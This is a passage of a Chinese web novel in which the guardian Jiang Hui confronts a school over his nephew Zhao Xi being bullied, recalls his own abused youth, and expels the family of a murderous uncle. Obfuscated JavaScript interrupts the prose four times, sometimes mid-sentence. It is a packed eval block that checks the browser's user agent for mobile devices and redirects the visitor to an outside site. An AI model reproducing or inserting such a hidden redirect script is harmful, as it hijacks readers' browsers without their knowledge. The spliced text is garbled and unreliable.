d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以这件事,最后是什么结果?” 赵熙抿唇,小声道:“我要写三千字检讨,周一去学校主席台念给孙沿听。” 周一,就是三天后。 老师好歹也不算太离谱,虽然对方家长态度激愤,但也没有太过偏帮,毕竟这个学校贵族少爷多了去了,得罪哪一个都不太好,于是也没有让赵熙接受对方所谓的“下跪道歉”,而是中和了一下,让赵熙写检讨道歉。 他再次询问赵熙的意见,这次,赵熙只是默然地点头,对比起刚进办公室的时候,简直好说话得不行。 姜洄回过味来了。 原来他刚才说那两句对不起,不是因为自己没去学校导致他生气了,才对姜洄说对不起,而是真的对打扰了他处理事情感到羞愧。 “以后有什么事,都不准瞒着我。”姜洄在心里轻叹了口气,平静道,“也不用因为这种事情对我说对不起。” 赵熙悄悄瞥他神色:“……你不生气吗?” 姜洄点头:“挺生气的。” 赵熙身形一僵。 “生气你打得不够狠,低头低得太快。” 赵熙傻了:“……啊?” “以后遇到这种人,他骂你你就骂回去,他打你你也打回去,用不着担心后果怎么样,只要不是你做错了,就有我在后头给你兜底。” “你现在是赵家的人,代表着赵家的脸面,要是遇事动不动就退缩,丢的反而是我的面子。”姜洄敲了敲桌子,道,“明白吗?” 赵熙愣愣地点点头:“……好。我知道了。” 小叔叔说的好有道理。 那他今天是不是不该答应对孙沿道歉来着? 姜洄擦了擦手,道:“明天我送你去学校。” “一个熊孩子,年纪不大,恶心人的手段倒是挺多。”姜洄冷笑,一字一顿道,“欺负我的人还这么嚣张,真当赵家没人了?” 11. 右眼 吃过饭,姜洄让他掀开衣服,看看伤口。 赵熙便将毛衣的高领往下拉了拉,袖口也卷了起来,露出青青紫紫的瘀伤,忐忑地看着他。 两人毕竟都是十岁出头的孩子,下手再狠,没有武器,伤口也只是看着吓人。 问起有没有其他不舒服,赵熙都是摇头。 但姜洄脸色却很难看。 他在软件上买了药送上门,闷了半天,才对赵熙说:“以后别把自己搞得一身伤。” 赵熙很乖巧地应了。 他倒是没心没肺,见姜洄帮自己看伤口,还有些高兴的样子。 姜洄把药扔给他:“记得自己涂了。” 随即转身上了楼。 他洗过澡,难得没有去忙公务,而是坐在床边发呆。 没人知道,他后颈边有一块和赵熙身上的位置一模一样的疤。 今天他觉得生气,倒不是因为赵熙。 姜洄最恨的,就是家暴和霸凌。 偏偏这两种东西,充斥在他混乱不堪的前十五年人生里。 在他的那个世界,姜洄还是那个沉默寡言、无人撑腰的穷孩子。 他在那所不正规的学校,从小学到初中,呆了整整十五年。 十五岁,毕业前夕,因为第一次他没有听话,拒绝了对方在中考考场递小抄的要求,他被学校里一直欺负他的几个孩子堵在了一条昏暗的巷子里。 第二天就是中考,姜洄自然不能因为被打到去不了考场而错过考试。 所以他拼死反抗,一群人被他激怒,事态反而越来越不受控制,越打越凶。 群情激愤时,打到上头,那混混头子抄起一块板砖就朝他砸过来,当场鲜血横流。 姜洄的眼睛,就是那时候毁掉的。 他手不受控制地抖着,看见自己指尖的血,感觉到右眼逐渐变得模糊刺痛。 知道完了,闹成这样,第二天他都不一定进得了考场。 他心中升起一股压抑许久的愤怒,以至于向来营养不良的瘦弱身躯,竟然爆发出了往日不可能有的巨大力气,野狗一样横冲直撞,掀翻了好几个人。 最后两个混混在混乱中撞到脑袋重伤昏迷,被送去医院,还有几个都被打得爬不起来。 他也没好到哪里去。 因为知道姜父不可能愿意给他医治,所以他拒绝了医生给他做手术的建议,第二天还强撑着浑身是伤的身体去了考场。 考到一半,晕了过去,还是好心的老师给他垫付了医药费,否则他已经死在了十五岁那年的夏天。 但眼睛的手术费太贵,老师也支撑不起,姜洄终究也没有做手术。 那个雪夜太冷,没有人给他递上一一把伞、一件衣服和一盒膏药。 那个小巷太偏,他也没有等来自己的救赎。 他带着那个丑陋扭曲的疤痕,和那只坏死了的眼,就这样往后一步步走了下去。 走了整整二十五年。 ——那场考试,他最终还是没有完成。 坚持写完给老师的欠条,他走出医院,在街道上浑浑噩噩地走着。 右眼的钝痛折磨着他的神经,他每走一步,都冷汗淋漓。 几个同学也许会把他告上法庭,也许会向他索赔……无论是什么,姜洄都没有任何办法抵抗。 那个只会给他带来阴影和暴力的家,姜洄也不想回去。 他的中考毁了,父亲更不可能让他去上高中。 世界明明这样大,可是此时此刻,姜洄竟然不知道何去何从。 他人生的转机,出现在这条街的一位星探身上。 对方暗地打量了他很久,见他形容憔悴,终于上前来,热情地询问他,想不想进入娱乐圈。 一本万利,众星捧月。 只要签了他们公司,拿到的薪酬,足够他支付那几个同学的医药费,甚至可以去做手术。 姜洄犹豫着告诉对方,他的眼睛有问题,还是个黑户,做不了明星。 星探知道了他的经历,听了却满不在意,跟他承诺,只要签约,这件事公司自然会帮他按下来,医药费公司会帮忙承包,眼睛的话,就更加不是问题了。 那个时候,国内的义眼技术已经相当发达,如果眼睛恢复不了,只要做个手术,摘除眼球换上义眼,基本和常人无异。 而黑户这件事,看似难办,但他是有父亲能证明身份的,由公司出面,给姜父一些好处,再带他去上个户口,也不是什么大事。 似乎一切又变得如此容易解决了。 姜洄考虑了很久,他知道自己没有选择,最终还是同意了。 当时毕竟年轻,他甚至什么其他利益都没提,唯一的要求是,要住在公司的宿舍里,离开姜家。 那人爽快地同意了。 但他以为摆脱了地狱,却不知,自己即将踏进另一个深渊。 后来他有钱了,其实可以给背上的是伤疤做疤痕去除手术,但是他不肯。 他要自己记住这段伤痛,记住那段痛苦的过去,记住自己不堪的开端。 每个深夜,他都看着镜子里的自己那只冰冷无质感的右眼,提醒自己究竟是如何一步步走过来的。 …… 姜洄被闹钟吵醒时,有些困倦。 他向来贪睡,没有要紧事绝对不会在早上七点钟就起,但有什么事情要办的话,他也绝不会迟到或是赖床。 打着哈欠下了楼,赵熙已经收拾好了,坐在餐桌边,见他神色疲倦,不由愧疚:“小叔叔……会不会太麻烦你了?” 姜洄道:“你觉得这是麻烦?” 赵熙愣了下,犹豫着摇头。 “只是不想小叔叔总因为我的事情费神。” “那今后就不要事事退缩。”姜洄倦懒道,“有我撑腰,你怕什么?” 赵熙嘴角微微扬起几分,点头。 姜洄送他去学校后,跟着他一起进了学校的门,还是早读时间。 门口的保安原本想拦着,但姜洄的身份名牌一亮,他就直接退开了。 ——原因无他,这所学校,有赵氏集团的投资。 换言之,这是赵家名下的私人学院。 在自家领地,赵家的名正言顺的小少爷竟然被一个外人欺负成这样,姜洄不来找个场子都说不过去。 赵熙背着书包走在前面,姜洄闲庭信步地跟着,后面还缀着两个牛高马大的保镖,远远看见,不少学生都窃窃私语。 姜洄将他送到了教室门口,抬头看了一眼班级,四年2班。 赵熙指过了办公室方向,问:“要我带您去办公室吗?” 姜洄摇头。 他没有立刻离开,而是伸手摁住了赵熙的肩膀。 赵熙不明所以地看向他。 姜洄道:“那位孙同学呢?” 赵熙下意识看向后座某个窗边。 孙沿的位置空着,赵熙小声解释:“他有时候会迟到,这个时间,应该是还没到学校。” 姜洄点点头,这才放开了手。 赵熙一步三回头地进了教室。 刚在座位上坐下,一个平时和他关系还算平和的女同学就凑了过来。 “欸,赵熙,那个哥哥好好看啊,他是你的谁啊?怎么以前没见过?” 赵熙抿抿唇,掩饰住眼里的几分得意,矜持道:“是我小叔叔。” 女同学“啊”一声,惊讶:“你小叔叔?不是说……” 不是说他根本不受赵家待见吗? 昨天孙沿一张大嘴,他们打架的事情学校现在都传遍了,因为赵熙家长没来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033596|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵熙因此低头同意道歉的事情班里的同学也都知道。 都以为他不讨赵家的喜欢,没想到第二天他小叔叔竟然又亲自送他来上学? 这是怎么回事? 赵熙笑笑,却不再解释了。 另一边,姜洄来到了赵熙班主任的办公室。 毕竟是贵族学校,能来这里伺候少爷小姐们学习……哦不,上班,给到的条件待遇也不低,所以这里是赵熙班主任一人的办公室。 女人听见敲门声,抬起头,见他气质不俗,多年在这所学校工作的经验告诉她来人不简单,于是下意识站起身:“您找谁?” 姜洄道:“您是赵熙的班主任?” “我是。” 姜洄:“来聊聊昨天我家孩子在学校被欺负的事情吧。” 风轻云淡地说着,姜洄径直在班主任对面的椅子上坐了下来。 吴老师傻了眼:“您……您是赵熙的家长?” 姜洄道:“看来吴老师也很清楚,谁是受欺负的那个。” 吴老师刚要说话,手机却响了起来,来电显示校长。 她面带歉意出门打电话,正好撞见了满头大汗赶过来的校长。 “小吴啊,赵先生来找你没?” 吴老师指了指办公室,示意人就在里面。 校长如临大敌,一把握住她的手:“你没说什么吧?” 吴老师一头雾水:“没有……怎么了?” 校长抹了把冷汗道:“我也是才从董事会那里知道,赵先生是学校的股东之一……” 吴老师愣了下:“股东?” “赵家投资这么多年几乎就没来学校看过,这次来势汹汹,恐怕是因为昨天打架的事情,昨天让赵熙那孩子道歉这事肯定是让他不满意了。一会儿你就听我的,看他想怎么解决这件事,见机行事。” “可是……您昨天不是还说,”吴老师忍不住道,“不能得罪孙家吗?” 校长恨铁不成钢:“你傻啊!孙家和赵家比起来算个什么?现在赵氏集团如日中天,一撤资董事会可饶不了我们!而且昨天还不是以为那孩子不受赵先生喜欢,所以才糊弄了事的?现在可不一样了!赵先生要是不满意,你我可都是要丢工作的!” 吴老师只能干巴巴地应声,同满脸堆笑的校长一起进去了。 姜洄道:“商量好了?” 校长冷汗都要下来了:“哪有,看您说的。刚接到董事会电话知道您过来了,您说您来了也不提前打声招呼……来,赵先生喝茶。” 他接着又连忙自我介绍了一通,说是姓刘。 “不用跟我扯这些废话。” 姜洄目不斜视,淡淡道:“我今天来干什么你们应该也猜到了,赵熙回去后已经跟我说过了事情经过……分明是孙沿欺凌了他这么久,对于校园霸凌的学生没有任何处置,还要让被霸凌的学生给孙沿道歉?我倒是想知道,是谁想出来的处理方式?” 校长干笑:“……这,这毕竟是赵熙同学也点头同意了的,我们也没有难为他。” “赵熙是个孩子不懂,你当我也好糊弄吗?”姜洄突兀地用食指轻叩了一下桌面,冷声打断了他。 校长抖了抖,舔了舔唇,尴尬道:“这个……毕竟事情已经发生了,至于您说的校园霸凌,我们没有收到过赵熙同学关于校园霸凌的证词控诉,这其中是不是有些什么误会?” 姜洄笑了。 “原来故意被把同学关在器材室两个小时,不算是校园霸凌?”姜洄道,“这不够吗?还要什么证据?” 校长支支吾吾,和吴老师对视了两眼,一时不知道如何回话。 姜洄道:“要是你们这个学校处理不好,我自然会报警。” “到那时候,就不止是小孩子间道个歉就能了事的了。” 12. 撑腰 上课铃打响后十分钟,孙沿姗姗来迟,还没搞清楚状况,就被老师拎到了办公室。 又十分钟,孙家父母赶到现场。 一开始孙沿还趾高气昂,没一会儿,他爹妈匆匆赶来,各自打了他脑袋一巴掌,随即冷汗连连地对着姜洄干笑:“赵先生,孩子年纪小不懂事,您别和他一般见识。” 不是说赵熙不受宠吗?怎么赵茴又上赶着来给他撑腰了? 孙家父母心中懊悔,早知道不任由儿子那样嚣张了,今天接到电话后便在家里被老爷子一顿臭骂,才知道赵家如今势大,已经远远不是孙家可以招惹的存在了。 孙沿被父母按着低头打招呼,没反抗两句,就被爱的巴掌教育老实了。 姜洄冷眼看着,道:“都学会校园霸凌了,我看令郎年纪小,胆子可不小了。” 孙家父母冷汗瞬间就下来了,因为孙家父亲入赘,当家作主的还是孙女士,她倒是清醒,也没替孙沿再狡辩,当即道:“那是孩子糊涂做了傻事,早先不知道赵熙同学是您的子侄…… “孙女士的意思是,”姜洄慢条斯理,语气却更危险了些,“不是我的子侄,就可以随意欺负了?” 赵熙坐在一旁,闷不做声。 孙女士愣了一下,听出他话里的意思:“自然……自然不是。我今后一定对这小子严加管教,不让他再犯这样的错误!真是太不像话了,怎么能对同学做出这种事情呢……” 她又给了孙沿一巴掌:“还不快给赵叔叔道歉!” 孙沿不太敢直视姜洄,不知道为什么,总觉得这个人身上的气势很可怕。 他眉头皱起,有些不情不愿地道了歉:“……赵叔叔对不起。” 姜洄淡淡道:“你该求得原谅的人不是我。” 孙女士连忙按着儿子转了个方向,拼命使眼色。 孙沿硬邦邦地站着,对着赵熙的方向,烦躁道:“对不起。” 赵熙抿唇,看着这一家人低声下气的模样,其实心里那点烦闷也悄然散了。 但就这样原谅了,好像显得有些太轻易。 小叔叔特意来帮他撑腰,这么轻易松口是不是不太好? 还没说话,姜洄便道:“我看令郎不满意得很,恰好我也觉得不太满意。” “不如这样怎么样?”他笑笑,“我听说孙沿同学要求我家赵熙给你当着全校的面下跪道歉——既然你现在要取得他的原谅,不如也就按照你这个想法来吧。” 他说得轻描淡写,孙家父母却瞬间陪笑的脸都僵了。 不说孩子自己下跪丢人,这事传出去,丢的也是他们孙家的脸啊。 孙沿更是怒吼出声:“你做梦!” 孙女士上前一步,道:“这是不是有些过分了?” 姜洄冷笑:“你家孩子搞校园霸凌的时候,怎么不觉得过分了?仗着昨天我有事没有立即赶来学校的时候,要求我家孩子下跪道歉就不过分了?” 孙家父母哑口无言。 气氛僵持着,姜洄明显没有主动退让的意思。 孙家父母只好道:“要不然这样,让他在全校面前检讨道歉,就不下跪了……毕竟孩子嘛,还是要留点面子的。” 孙沿对父母怒目而视,在他心里,当着所有人的面道歉,就算不下跪,也很丢面子。 姜洄没有立刻说话,半晌,他看向赵熙:“你觉得呢?” 赵熙观察着他的表情,低声道:“……我觉得,可以。” 孙家父母恨不得喜极而泣,又拍了儿子一巴掌:“还不谢谢赵熙同学!” 孙沿也知道没办法再退一步了,只能对着赵熙别别扭扭地道了谢。 姜洄静了片刻,道:“赵熙耳根子软好糊弄,但他不愿意继续追究,我也不想让他为难,毕竟以后还要做同学,只是以后要是还有这种事情——” 他扯了下唇,笑意凉薄:“你们应该知道后果。” “你们的孩子对赵熙所做的,我会在你们身上,一一奉还。” 孙沿父母干笑一声,连连应了,甚至主动提出要转班,以免两个孩子再发生冲突。 姜洄淡淡道:“转班可以,先道过歉再转班,我要他明确在检讨中写明自己欺凌同学的事实。” 这不算什么过分要求,虽然有些跌面子,但孙家父母还是咬咬牙应了。 赵熙从头到尾都坐在一边静静听着,没有主动插嘴过。 其实赵熙没有跟姜洄说的是,昨天没有人接电话的时候,孙沿叫嚣着要求他下跪道歉的时候,老师看似征求意见实则对他冷眼旁观的时候…… 赵熙其实有点想他曾经的学校了。 至少那里有位语文老师还算喜欢他、也鼓励过他,他黑暗的学校生活也因此有了一点期盼。 那天跟着姜洄回来,不是因为姜洄说要给他买糖。 而是因为他想着——也许…… 也许就算被带走,也不会比以前那样的生活更差劲了。 他以为转学会变好,不会再有人因为他爹不疼娘不爱嘲笑他。 但没想到只是换了一个环境,继续着痛苦。 被嘲笑被讽刺时,他总是想起赵青那张脸,以此来麻木地反复提醒自己是个假少爷。 小叔叔带他回来,给他好日子,给他礼物和关心,给他崭新的衣服和身份,但那些都不是因为他。 是因为这个身份。 所以孙沿带人欺负他的那几天,忍耐——是他的习惯,也是他不想让小叔叔觉得,自己总是惹事给他添麻烦。 他想,他不麻烦的,只要别再把他丢掉就好了。 没控制住冲上去打了人后,他更怕姜洄没有接电话,是因为自己惹麻烦打扰了对方。 可是现在他不这样想了。 赵熙望着姜洄平静的侧脸,眼里闪着几分光亮。 或许,在这个身份之上,他可以更放肆一点,更自信一点。 至少他已经明确了,小叔叔不会因为这种事情就抛弃他。 事情至此才算了结,孙家父母带着孙沿走后,赵熙回去上课,姜洄则起身离开。 校长满脸谄笑地起身要送他。 “不用了。”姜洄瞥了他一眼,“这是赵氏集团投资的学校,我不希望以后,在我名下的地界,传出任何校园霸凌和包庇校园霸凌的丑闻。” “吴校长应该明白我的意思。” 校长:“……明、明白。” 三天后,孙家的事,旁人该知道的也都知道了,至此,那些隔岸观火的豪门贵族便也都明白,赵熙这个突然冒出来的小少爷,可不是什么能轻易摆弄的存在,态度最好还是放恭敬些。 当天赵熙放学回家时,姜洄难得已经在家里了。 他本以为按赵熙的性格,不会主动来问自己为什么这么早下班,没想到对方才进门换了鞋,没犹豫两秒就走了过来。 “小叔叔,你今天下班也很早。” 姜洄眼镜下的眸子朝他撇去一眼,敏锐地发现他的情绪似乎和以往不太一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033597|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具体表现就在于,胆子似乎大一些了,没以前那样面对他时总有些束手束脚了。 看来今天专门去给他撑腰是个正确的选择。 姜洄愉悦地翻了一页手上的书。 “我请假了。” 赵熙一愣:“因为早上的事情吗?” 姜洄轻飘飘道:“想多了,只是没睡够觉,干脆放假补一天而已。” 赵熙踌躇着点头,不再问了。 姜洄又翻了一页:“……你站着干什么,还有事?” “没,没事。”赵熙道,“只是想问问,父亲的事……” 姜洄“哦”了一声:“赵青认了,我已经将案子上诉,很快就会有判决结果的。” 至于原主父亲那个案子,还在调查中,因为没有明显证据证明是赵青做的,暂时还没有办法并案调查。 在外人看来,也许姜洄执掌赵氏集团的速度有些不可思议,甚至这么短的时间就能毫不费力地扳倒赵青。 但只有他自己明白,要不是有些经验,加上系统从旁协助,他不一定能这么顺利。 只是赵熙就完全不知道这些了。 在他眼里,小叔叔本来就是很厉害的人,能做出什么都不意外。 他点点头,视线一瞟,伸手就给他倒了杯水,道:“小叔叔不要太辛苦了。” 任性休假的姜洄:“……” 好像也没有太辛苦。 但赵熙能主动倒茶也是心意,姜洄伸手接了,不忘提醒:“我不爱喝茶,下次给我倒牛奶。” 赵熙眨眨眼,腼腆地笑了:“好。” 不知是不是姜洄略显亲近的态度让他觉得有了底气,后来半个月的时间,赵熙一天比一天表现得活泼起来,也对他越来越亲昵。 不只是和他说话多了起来,会鼓起勇气说些关心他的话,还总抢着给姜洄干活。 不管干什么,只要他在场,都会主动帮忙去做。 姜洄想喝水,抬抬手,他就顺手倒了。 要看书,刚要起身,他就飞快跑去拿了。 就连姜洄要给手机充个电他都不劳驾姜洄自己动腿上楼,麻溜地就接过去了,活像跟在姜洄后头的殷勤小厮。 这种小心翼翼的、寄人篱下的勤快,自然能让姜洄感觉到异常。 姜洄虽然懒,但也不至于懒到这个程度,每次看着他来回忙活,跑下楼干完活儿气喘吁吁,又一脸期待和腼腆求表扬的样子,只觉得好笑。 这天姜洄下班回家,不出所料又在沙发上看到了正在写作业的赵熙。 听见大门的声音,赵熙放下作业跑了过来,小声道:“小叔叔,饭好了,我去端出来。” 这段时间天天如此——原本两人的饭点并不一样,毕竟要各自忙各自的事情,但最近赵熙给他献殷勤,就连吃饭也会留着自己那一份,等姜洄一起回来吃。 终于,在对方第无数次殷勤地帮他接过外套、摆好碗筷时,姜洄忍不住了,淡淡开口。 “你想要什么吗?” 赵熙帮他拉开椅子的动作一顿,有些不解地抬头,小心地看向他。 姜洄没看他,径直坐下了:“想要什么可以直接和我说,你这样事事伺候我,不知道的还以为你不是我的小辈,而是我的奴仆。” 赵熙舔了舔唇,无措地愣住了:“我,我没想要什么。” 他低下头,有种被看穿的慌乱,既尴尬,又感觉脸上火烧火辣的:“……我只是,想要做点什么,让小叔叔高兴一点。” 13. 99 姜洄自然不信。 他瞅了赵熙两眼:“……有这功夫,我觉得你将仪态练得更好些,学习更进一步些,我会更高兴。” 说这话的时候,姜洄有种相当微妙的感觉,好像自己也成了电视上那些只会反复强调学习的“封建”大家长。 有些新奇,但……这种感觉还不赖。 赵熙立即忐忑道:“小叔叔不喜欢这样的话,我就不这样了。” 姜洄心里叹气,从现在的视角看,以前的自己真是怎么瞧怎么拧巴:“你在怕什么?” 他盯着赵熙的眼睛,神色认真地问。 赵熙现在所做的一切,笨拙认真中透出的那抹恐惧,也逃不过姜洄的视线。 但赵熙回避了他的视线,只是眼睫微微颤着。 他从来到赵家之后一直好吃好喝地养着,富贵确实养人,至少现在的他,身上的寒酸气已经几不可见了,甚至有了几分大家少爷的气质,肤色也养白了许多,看着矜贵且俊气。 但每次这样一低头,怯懦的神色就又不由自主透漏出了几分。 良久,他攥着衣角道:“怕……要是做错了事情,小叔叔会生气。” 他顿了顿,声音更低了些:“如果小叔叔生气了,可以不要赶我走吗?我,我喜欢这里,小叔叔有什么不喜欢我的地方,我可以改。” 他觉得小叔叔对他很好。 可是这种好,小叔叔能给他,也能随时收回去。 他原本可以忍受一个人,毕竟从前那样的日子都过来了,一个人只是孤单点,也没什么。 但人一旦体会过温暖,就会变得贪心不足。 他不想再回到福利院,也不想回到那个小巷子里了。 姜洄心中升起一股好笑又荒谬的感觉,隐隐还有些不出所料的心疼:“所以,你就先讨好我,让我到时候别那么生气?” 赵熙不好意思地抿抿唇,算是默认了。 姜洄抵了抵腮帮子,抬手敲了下他的脑袋:“笨蛋崽子。” 赵熙抬手捂住脑袋,懵了。 姜洄心中言语万千,口中吐出来却只有一句:“做你自己就好,不用迁就我。” 赵熙“哦”了一声,犹豫地坐上了椅子。 他还是很想问那个问题:“所以,我要是惹小叔叔生气了……小叔叔会赶走我吗?” “那要看是什么事情。”姜洄收回手,若无其事,“我既然带你回家,大部分情况下,你都可以任性做你想做的事情——除了我要求的以外。” 就例如继承公司。 姜洄道:“以后别瞎想有的没的。” 赵熙悄悄看他一眼,又“哦”了一声。 姜洄用筷子拦住了他给自己夹菜的动作:“不卫生,这个也例外。” 赵熙想了想:“那我用公筷!” 姜洄张了张口:“……” 没法反驳。 看来他想错了,赵熙或许也有一部分原因是真的喜欢帮他干活。 ……算了,随他去吧。 赵熙看他不反对,又试着给他加了两筷子红烧肉——经过这段时间的相处,他发现了,小叔叔偏爱重口味些的食物,虽说每次吃的也不算多。 姜洄没再说什么,默认了,好在赵熙也有分寸,没再露出那种热情殷勤过头的模样,夹了两筷子便适可而止了。 没过几天,赵熙学校放了寒假。 金警官那边也发现了新的进展,十天前,他追查到了当年赵家家主车祸时,肇事司机笔录中的不对劲。 因为对方虽然是酒驾,但根据走访调查,他平时不爱喝酒,偶尔喝两次还是因为生意应酬,但车祸那天,他没有任何应酬在身。 当年因为对方非常痛快承认自己撞了人,而且是主动报警,主动把人送去了医院,所以当时警方没有调查太全面,因此无意遗漏了这些可疑点。 肇事司机判了二十年,还在牢里,他只有一个断腿的弟弟,这些年一个人生活。 警方通过技术手段调查到了肇事司机弟弟的现在居住地,从对方口中获取了肇事司机并非偶然撞人的证据,重新启动了案件调查。 十天后,金警官给姜洄打来电话,表示肇事司机已经招供,当年的车祸,确实也有赵青的参与。 和赵大哥这起车祸几乎一样的手段,有了线索,调查不算费劲,这次赵青是彻底栽了。 与此同时,金警官还告诉了姜洄一件事,他发现,赵大哥出事之前一个月,有过向警方报警的记录,理由是怀疑父亲的死并非意外。 但当时因为没有直接证据,案件无法重新调查。 姜洄这才明白,赵大哥当天参加那场宴会之前,说的那件大事究竟是什么。 也许他私底下已经调查到了父亲死亡的真相,甚至距离和弟弟说出事实就差那么几个小时。 但如果姜洄没有穿越过来,赵家此刻已经彻底家破人亡了。 姜洄挂了电话,赵青的家人便找上了门。 他们无声无息这么久,就是已经料到了赵青今日的局面肯定有姜洄的手笔,也是料定赵青不会真的有什么事。 但没想到这次证据链太过完整,赵青是真的出不来了,这才慌了神,没能按耐住气,提着东西来见了姜洄。 姜洄没有阻拦,让他们进了门。 彼时刚放了假的赵熙正在沙发边的茶几上认真写作业,赵青的夫人徐琳便试图上前套近乎:“这就是小熙吧?哎哟,大奶奶忙,前段时间没空来看看你,小熙可别怪大奶奶。” 赵熙不动声色避开了她要搭过来的手。 徐琳的脸色顿时一变。 赵青的儿子,也就是原主的堂哥赵峰当即不满道:“一点礼貌都没有,不叫人就算了,长辈说话也不知道回答吗?” 姜洄上前,身形隔开了他们的视线。 “我让你们进门,可不是听你们谴责我家孩子怎么没礼貌的。” 徐琳连忙道:“是是是,没错,峰儿你别乱说话!人家小熙这叫内敛!” 赵峰于是憋屈地闭上了嘴。 徐琳于是转头看向姜洄,满脸堆笑:“小回啊,你看,大伯母想和你聊聊你大伯的事情,要不然让小熙先上楼写作业去吧……” “不用,他不是外人。你直接说吧。”姜洄不轻不重地打断了她。 徐琳有些尴尬,便也只能挪开了对着赵熙的目光:“是这样的,你大伯的事情,你应该也知道了,我们不太清楚这是怎么回事,就是听说在查你大哥的案子,他就莫名其妙被带走了。前段时间也就没敢拿这事儿来烦你,但你大伯在里面呆了这么久,还不回来,我们听说……是你起诉了他?” “这里面是不是有什么误会啊?咱们其实可以好好说说……” 这是在跟他装傻呢? 想装作不知情,糊弄他赵青其实是被诬陷的,然后让他松口不再起诉,把人放出来? 姜洄无所谓地点点头:“是我起诉的。没什么误会,大伯找人撞了我大哥,警方手里有完整的证据链,也不需要我掺和什么。” 他道:“大伯母的意思是,他是被冤枉的?那你该和警方去说,和我说可没有用。没有因为赵青的事情迁怒你们把你们也一起赶出去,已经算我好脾气了。” 说罢,姜洄笑了一声:“还以为大伯母今天来这里是要跟我说什么,原来只是装傻骗人来了,没意思。” 他这副风轻云淡却油盐不进的模样,明显是没有一丁点要宽容的意图的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033598|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐琳咳了一声,脸上很不好看,却还勉强撑着笑意:“你这话就说岔了,咱们毕竟一家人嘛,没什么过不去的,而且,你现在也只有咱们几个亲人一起能互相扶持了,要是又闹出什么事,传出去也不好看,对吧?” 说话间,赵熙给姜洄无声地端来了一杯牛奶。 姜洄习惯性接了,抿了一口,没有立刻回她的话。 赵峰听了这么一会儿,对姜洄的态度相当不满,但姜洄不是他可以招惹的人,于是只能把火都往一旁的赵熙身上发:“好笑,我们坐在这半天了,怎么也不见你给我们倒杯水呢?你这小孩!真是看人下菜碟!” 赵熙看了他一眼。 眼神平静,甚至带着一点若有若无的讽刺。 但仔细看去,好像又不见了。 被一个小孩用这样的目光看着,赵峰一下子怒火中烧,瞬间站了起来:“你什么眼神!” 徐琳被他吓了一跳,恰好也一肚子火没处发:“你干什么大惊小怪的!” 赵峰指着赵熙道:“妈!你看这小孩对我什么眼神!” 姜洄还没说话,赵熙便又奇怪地看了赵峰一眼,端坐在姜洄身侧,声音青涩稚嫩,却十分平静:“我只是觉得你说的话很好笑。” 赵峰懵了一下:“什么好笑?” 赵熙认真道:“我对正常客人都是会倒水喊人的,但是你们本来就不是什么好人,所以我不觉得我需要多礼貌。” 赵峰愣了一下,顿时气得七窍生烟,连徐琳也怔住了,没想到一个孩子竟然这样言语锐利。 “堂弟你也不管管!这就是你家的家教吗?” “我倒是觉得西西说的有道理。” 姜洄冷笑:“在别人家对着主人阴阳怪气大呼小叫,这就是你的家教吗?” “我们不用聊了,这次放你们进门,是全了从前的情谊,也是为了最后告诉你们一声,你们这家吸血鬼亲戚,我们高攀不起。” 他起身,收敛了脸上的表情,喊保镖进门:“把这两个人赶出去。” “今后再看见他们,不管来干什么,都不准放进来,如果有人赖着不走——就直接报警好了。” 徐家母子脸色大变,两人叫喊着,想要让他再通融一下,姜洄却径直转身上了楼。 两个保镖架着他们将人毫不留情地赶了出来,连同他们肉痛买下的昂贵礼物一起。 “我家老板说。”其中一个保镖抬了抬墨镜,冷漠道,“杀人凶手的家人送的礼,都不知道有没有沾了血。他嫌脏。” “你们还是拿回去卖了,给赵青多烧点纸钱吧。” 徐琳母子什么反应,姜洄不知道,也懒得知道。 案子结案,他坚持上诉,搭上两条人命,公司那边还被查到了偷税漏税的各种罪项……有赵家这个如日中天的势力盯着,赵青已经难逃死刑,他为虎作伥的家人也不会好到哪里去。 比起他曾经万般艰难收集证据、却仍然要用两年来扳倒姜父的过程,出生在金字塔顶尖的优势再次在姜洄面前具象化起来。 他心中愈发微妙,却又将那几分情绪悄然压了下去。 至此,原主的任务已经完成了99%。 连002都没想到他能这么顺利,甚至不需要半年,就能这样简洁迅速地完成了原主的愿望。 ……就,原主赵茴那么容易被套路,显得更不学(fei)无术(wu)了。 姜洄翻阅着闲书:“剩下1%是什么?” 002道:【虽然任务完成得差不多了,但是,因为你曾经违规收养赵熙,现在为了让他能够确保能够代替原主接手产业,你需要培养他至少到十八岁。】 也就是说,他还要在这里,呆上至少八年。 